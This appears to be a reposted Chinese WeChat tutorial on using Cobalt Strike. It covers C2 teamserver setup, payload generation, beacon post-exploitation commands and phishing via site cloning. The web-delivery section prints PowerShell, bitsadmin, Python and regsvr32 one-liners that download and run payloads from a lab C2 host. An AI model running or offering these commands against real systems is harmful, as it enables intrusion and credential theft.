声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
1. 简介
Cobalt Strike是一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,winexe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
2. 启动
2.1 服务端
将CS工具上传到Linux下,解压
增加执行权限
运行
./teamserver 192.168.5.132 123456
其中192.168.5.132为C2地址,123456为密码
2.2 客户端
3. 使用
这里面server为192.168.5.132
生成马,这里面有两种类型:beacon和foreign
beacon为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs,该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多,
foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
3.1 beacon
这样的话,会在CS服务器上启动3333端口
这时,需要使用CS生成exe木马
客户端直接执行这个exe文件,上线
3.2 foreign
这种生成的马需要和MSF配合使用
生成马
MSF监听
运行马,上线
4. beacon 功能
4.1 Beacon
Beacon Commands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
4.2 Hashdump
获取hash
4.3 提权
4.4 Mimikitz
4.5 文件管理
4.6 屏幕截图
4.7 凭证信息
5. 钓鱼攻击
5.1 克隆网站
5.2 下载文件
选择一个恶意文件直接加载,下载的时候会下载该文件。
5.3 脚本web传递
5.3.1 powershell
生成的脚本如下
powershell.exe -nop -w hidden -c "IEX((new-objectnet.webclient).downloadstring('http://192.168.235.130:80/a'))"
直接在目标机器上执行该脚本
上线
5.3.2 bitsadmin
生成的脚本如下所示:
cmd.exe /c bitsadmin /transfer 5cc3 http://192.168.235.130:80/b %APPDATA%5cc3.exe&%APPDATA%5cc3.exe&del%APPDATA%5cc3.exe
在目标机器上执行该脚本
上线
5.3.3 Python
生成的Payload如下:
python -c "import urllib2; exec urllib2.urlopen('http://192.168.235.130:80/c').read();"
在目标服务器上执行该脚本
5.3.4 Regsrv32
生成脚本如下:
regsvr32 /s /n /u /i:http://192.168.235.130:80/e scrobj.dll
5.4 信息收集
5.4.1 实践
直接访问http://192.168.235.130就可以收集主机相关信息
访问以后,收集到的信息如下所示:
5.4.2 原理
分析生成网站的源码发现,其在网站源代码里植入了JS脚本,相应脚本如下所示:
推荐阅读
信息安全 | 键盘记录之信息窃取(登录框密码隐藏就真的万无一失吗)
python | 用python写了一个谈恋爱AA公式,我被分手了
原文始发于微信公众号(鹏组安全):cobaltstrike 常用功能使用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论